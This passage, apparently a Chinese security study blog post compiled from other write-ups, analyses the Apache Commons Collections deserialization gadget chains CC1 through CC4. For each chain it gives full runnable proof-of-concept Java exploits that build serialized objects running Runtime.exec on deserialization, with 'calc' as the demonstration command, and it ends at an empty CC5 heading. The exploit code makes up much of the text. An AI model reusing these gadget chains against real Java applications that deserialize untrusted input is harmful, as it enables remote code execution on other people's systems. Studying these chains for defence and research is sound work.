目录

CC链

主要是炒冷饭+搬运

CC1

TransformerMap

这篇写的很好,下面基本抄它的

Java安全入门(二)——CC链1 分析+详解_cc1链分析_ErYao7的博客-CSDN博客

配置环境

  • CommonsCollections <= 3.2.1
  • java < 8u71(我是用的是8u66)
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

利用

Transformer接口

Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

package org.apache.commons.collections;
 
public interface Transformer {
 
    public Object transform(Object input);
 
}

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

image-20230811143243084

ConstantTransformer

关键代码如下:

image-20230811143453740

接收一个对象然后返回一个常量

ChainedTransformer

当传入的参数是一个数组的时候,就开始循环读取,对每个参数调用transform方法,从而构造出一条链。它赋值时会传入一个要调用方法的数组,然后将传入的方法链式调用(前一个的输出作后一个的输入)。

image-20230811143911674

InvokerTransformer

我们先看一下它的transform方法,传入一个对象,然后反射调用。这里的方法值,参数类型,参数都是可控。

image-20230811144550833

跟进去,可控构造方法

image-20230811144839772

例子1

package Apache_Common_Collections;
import org.apache.commons.collections.functors.InvokerTransformer;

public class demo01 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}

image-20230811145232541

这个可以用来弹计算器

这里为InvokerTransformer类中transform方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型String.class和参数值calc,我们之前提到了transform方法中的反射调用,所以成功弹出计算器。

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer类中的transform方法

image-20230811150627206

假如再寻找的过程中a方法调用了transform,那么我们就要继续谁调用了a方法,最终找到readObject方法

image-20230811150604131

最终是可以发现Map类中可以入手的

TransformerMap

TransformerMapcheckSetValue中调用了transform方法

image-20230811151253717

再来看看TransformedMap构造函数

image-20230811151436355

我们可以根据构造函数理解一下TransformedMap的功能,接收一个Map进来,分别对keyValue进行一些操作。

因为构造方法是protected保护方法

所以我们可以找到在该类中调用它的方法decorate

image-20230811151742911

AbstractInputCheckedMapDecorator类

下一步我们再去看看哪个方法调用了checkSetValue方法

image-20230811152030742

只有一处调用,setValue方法调用了checkSetValue

image-20230811152226307

这个类是个抽象类,再去找找它的子类

image-20230811152306389

我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

image-20230811152425932

再回来看看AbstractInputCheckedMapDecoratorsetValue

image-20230811152713375

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了

发现这一点的话,我们就可以通过遍历Map来触发代码的执行。

例子2

package Apache_Common_Collections;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo02 {
    public static void main(String[] args) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        // 以下步骤就相当于 invokerTransformer.transform(runtime);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        // 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

    }
}

image-20230811162009848

AnnotationInvocationHandler

我们再回来看看谁调用了setValue方法,还是不同名的方法的调用

image-20230811163344854

这里看到了AnnotationInvocationHandler有调用,为什么要选用AnnotationInvocationHandler呢,因为这里是readobject,和我们的最终目标相同。

接下来我们分析AnnotationInvocationHandler类,需要注意的是他不是public,只能在所属包下访问到,所以我们通过反射获取。

先看一下构造函数

image-20230811164057413

接收两个参数class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map

同样在readObject方法,我们也发现Map的遍历

image-20230811165440274

写个例子帮助理解

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
 
 
public class demo01 {
    public static void main(String[] args) throws Exception {
 
        //演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象
 
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
    
        
        //正常序列化与反序列化
        serialize(o);
        unserialize("ser.bin");
 
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
 
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

完整poc

package cc1;
 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
 
 
public class demo01 {
    public static void main(String[] args) throws Exception {
 
//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();
 
//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");
 
//        //InvokerTransformer方法获取runtime实例,并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
 
        //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
 
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);
 
 
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");
 
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
 
 
 
 
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
 
        serialize(o);
        unserialize("ser.bin");
 
    }
 
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
 
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

利用链

Transformer接口->制作链式调用恶意方法
InvokerTransformer/任意调用
ConstantTransformer/获取对象
ChainedTransformer/封装链式
TransformedMap->套娃触发ChainedTransformer.transform
AnnotationInvocationHandler->readObject触发TransformedMap

lazymap

环境搭建

使用java7搭建环境,高版本的

sun.reflect.annotation.AnnotationInvocationHandler#readObject

的逻辑发生了改变

调用分析

之前分析的cc1的链使用的是TransformedMap下的checkSetValue方法,但是还有其他利用链,就比如LazyMap下的get方法调用factory.transform方法

image-20230814001054476

这里是get找不到值时会触发transform

再来看LazyMap对象的decorate方法

image-20230814152302267

返回的是一个LazyMap对象,get方法中的factory是我们的transformerChain,那么我要找一个调用get方法的类。

还是AnnotationInvocationHandler类,invoke函数里面调用了get方法

image-20230814152949604

那怎么调用invoke方法呢

我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中

就是下面这个:

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

完整的poc



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {

    public static void main(String[] args) {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        try {
            //反射获取AnnotationInvocationHandler实例
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

            //动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke
            Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

            InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler1);
            oos.flush();
            oos.close();


            //测试反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

image-20230814153656557

利用链

image.png

CC2

环境搭建

jdk8u71
commons collections-4.0

在maven项目中的pom文件中添加4.0版本的依赖

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

在CC2链中构造利用链用到了动态字节码编程来构造poc,需要引入javassist的依赖

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>

前置知识

Java安全之Commons Collections2分析 - nice_0e3 - 博客园 (cnblogs.com)

搬运过来

PriorityQueue

构造方法

PriorityQueue()           
	使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
	使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法

add(E e)           			将指定的元素插入此优先级队列
clear()            			从此优先级队列中移除所有元素。
comparator()       			返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)          如果此队列包含指定的元素,则返回 true。
iterator()           		返回在此队列中的元素上进行迭代的迭代器。
offer(E e)           		将指定的元素插入此优先级队列
peek()           			获取但不移除此队列的头;如果此队列为空,则返回 null。
poll()           			获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o)           	从此队列中移除指定元素的单个实例(如果存在)。
size()           			返回此 collection 中的元素数。
toArray()          			返回一个包含此队列所有元素的数组。

代码示例

import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) {
        PriorityQueue<Integer> priorityQueue = new PriorityQueue<>();
        priorityQueue.add(2);
        priorityQueue.add(1);
        System.out.println(priorityQueue.poll());
        System.out.println(priorityQueue.poll());
    }
}
1
2

getDeclaredField

getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。

该方法返回的是一个Field对象

Field

get			返回该所表示的字段的值 Field ,指定的对象上。 
set			将指定对象参数上的此 Field对象表示的字段设置为指定的新值。

TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似

调用分析

PriorityQueue类中的readObject方法开始

image-20230814163927058

首先是调用默认的defaultReadObject()方法然后调用readInt()方法读取优先级队列的长度,queue[i]的值是由readObject()得到,这里是在writeObject()处写入对应的内容

image-20230814164418944

这里可以通过反射来设置queue[i]的值,也就是queue[i]的值是可控的,最后进入heapify()方法之中

image-20230814164903394

进入heapify方法后,这里有个for循环,条件是size>>>1,也就是对size进行右移位操作,那么就是size>1的时候才会进入循环,继续跟进siftdown()

image-20230814165111440

这里的x就是queue[i],跟进siftDownUsingcomparator方法。

image-20230814165245875

x就是我们传入的queue[i],而这里的comparator接口调用了TransformingComparator中重写的compare方法

image-20230814173641113

这里调用了this.transformertransform方法,跟进去,input就是前面的obj1,this.iMethodName的值为传入的newTransformer

image-20230814174108586

因为newTransformer方法中调用到了getTransletInstance方法

image-20230814174602133

继续跟到getTransletInstance方法中,如果_name不为空(通过反射将_name属性设置为恶意类TestTemplatesImpl的类名),_class为空,则调用defineTransletClasses方法

image-20230814175419036

继续跟进defineTransletClasses方法,通过loader.defineClass还原class对象,判断当前class对象是否继承了AbstractTranslet类并设置_transletIndex索引。这里必须继承类,否则_transletIndex值默认为-1

image-20230814175631837

_transletIndex赋值后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象,即创建恶意类的对象,那么该类中的static代码就会执行。

image-20230814175818095

写poc

创建一个恶意类,在它的构造函数里放入恶意代码

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

然后将恶意类放入TemplatesImpl的_bytecodes属性,这样到时候就可以将恶意类加载到_class属性,然后实例化恶意类,执行无参构造函数,从而执行恶意代码,·属性前面说过不能为空,不然会在getTransletInstance方法里直接返回

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

InvokerTransformer方法调用newTransformer,再用TransformingComparatorcompare方法会去调用传入参数的transform方法,而满足compare的办法就需要用到PriorityQueue来实现了。

PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

这里add两个1是为了满足heapify()中的(int i = (size >>> 1) - 1; i >= 0; i--),这样经过计算刚好为0,满足条件

设置queueObject[]数组,内容为两个内置恶意代码的TemplatesImpl实例化对象。这样调用heapify方法里面的时候就会进行传参进去。

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

commons-collections2(cc2)反序列化链分析_cc2 分析_Ys3ter的博客-CSDN博客

完整poc

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;





public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

利用链

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

CC3

commons-collections3(cc3)反序列化链分析_Ys3ter的博客-CSDN博客

环境配置

JDK 1.7
Commons Collections 3.1
javassist
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
        <dependency>
      	    <groupId>org.javassist</groupId>
      	    <artifactId>javassist</artifactId>
     	    <version>3.24.1-GA</version>
	    </dependency>
    </dependencies>

前置知识

TrAXFilter

调用了传入参数的newTransformer()方法,这个方法在cc2中出现过,cc2中是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,在cc3里面,就可以直接使用TrxFilter来调用newTransformer()方法

image-20230814233816228

InstantiateTransformer

实现了TransformerSerializable接口,在它的transform()方法中,判断了input参数是否为Class,若为Class,通过反射实例化一个对象并返回;

image-20230814234748819

image-20230814234800040

利用链分析

前面的和lazymap那条链子很像,从lazymap的get方法开始分析

image-20230815110631846

factory参数为ChainedTransformer的实例化对象,这里调用它的transform方法

跟进ChainedTransformer.transform(),对transformers[]数组进行循环

image-20230815111204146

第一轮循环,iTransformers[0]参数值为ConstantTransformer,进入它的transform方法,返回TrAXFilter类; 第二轮循坏,iTransformers[1]参数值为InstantiateTransformerTrAXFilter作为参数传入transform方法;

跟进它的transform方法,input参数值为TrAXFilteriParamTypes参数值为Templatesthis.iArgs为构造好的恶意TemplatesImpl实例化对象

image-20230815174132186

跟进去TrAXFilter看一下

image-20230815174440394

跟进newTransformer(),调用了getTransletInstance()方法;

image-20230815174634109

跟进getTransletInstance()方法,参数就在里面执行

image-20230815174726048

poc

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws Exception {

        //使用Javassit新建一个含有static的类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("cc3exp");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        //补充实例化新建类所需的条件
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_class", null);

        //实例化新建类
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        //调用get()中的transform方法
        HashMap innermap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

        //设置代理,触发invoke()调用get()方法
        Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

        InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
            outputStream.writeObject(handler2);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

调用链

ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                        newInstance()
                            TrAXFilter#TrAXFilter()
                            TemplatesImpl.newTransformer()
                                     TemplatesImpl.getTransletInstance()
                                     TemplatesImpl.defineTransletClasses
                                     newInstance()
                                        Runtime.exec()

CC4

cc2 的前半段 + cc3 的后半段

环境搭建

java8u65

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

调用分析

这条链子的入口点和cc2一样,都是PriorityQueuereadObject

image-20230817111134953

readObject会调用heapify方法,跟进去

image-20230817111357691

heapify方法会再去调用siftDown方法

image-20230817111446661

在这里如果comparator不为空,还会继续调用siftDownUsingComparator方法,comparator在这里是被修饰的Transformer[]数组。前面可以使用反射进行设置。跟进

image-20230817112316502

这里会调用comparatorcompare方法,在前面使用到了TransformingComparator来修饰,所以调用到TransformingComparatorcompare方法

image-20230817112331333

在被TransformingComparator修饰前,还使用了ChainedTransformer修饰器进行修饰,在this.transformerChainedTransformer的实例化对象。所以这里调用的是ChainedTransformertransform。该方法会遍历调用Transformer[]数组的transform方法。

image-20230817114658505

第一次遍历调用transform方法时,因为前面Transformer[]存储的第一个是ConstantTransformerConstantTransformertransform会直接返回TrAXFilter对象。

image-20230817114952297

第二次调用的时候则是传入TrAXFilter调用InstantiateTransformertransform方法。

image-20230817115250407

这里的this.iParamTypestemplates,而this.iArgs为构造的恶意TemplatesImpl实例化对象。

那么这一步就是获取TrAXFiltertemplates的构造方法。然后调用该构造方法实例化对象,并且传入TemplatesImpl恶意类。看看TrAXFilter的构造方法

image-20230817115902249

在该方法还会调用到getTransletInstance方法。继续跟进。

image-20230817120404795

到了这里会判断_class为空的话就会去调用defineTransletClasses进行赋值。跟踪一下defineTransletClasses方法查看是如何赋值的。

image-20230817120739201

_bytecodes_class进行赋值。_bytecodesRuntime类执行命令代码的字节码。

在执行完方法后,来到下一步。

image-20230817120814784

image-20230817121202927

image-20230817121135080

Java安全之Commons Collections4分析 - nice_0e3 - 博客园 (cnblogs.com)

poc


import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("cc4exp");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("ser.out"));
        inputStream.readObject();

    }
}

利用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

CC5

cc5和cc1的lazymap那条链子很像

环境配置

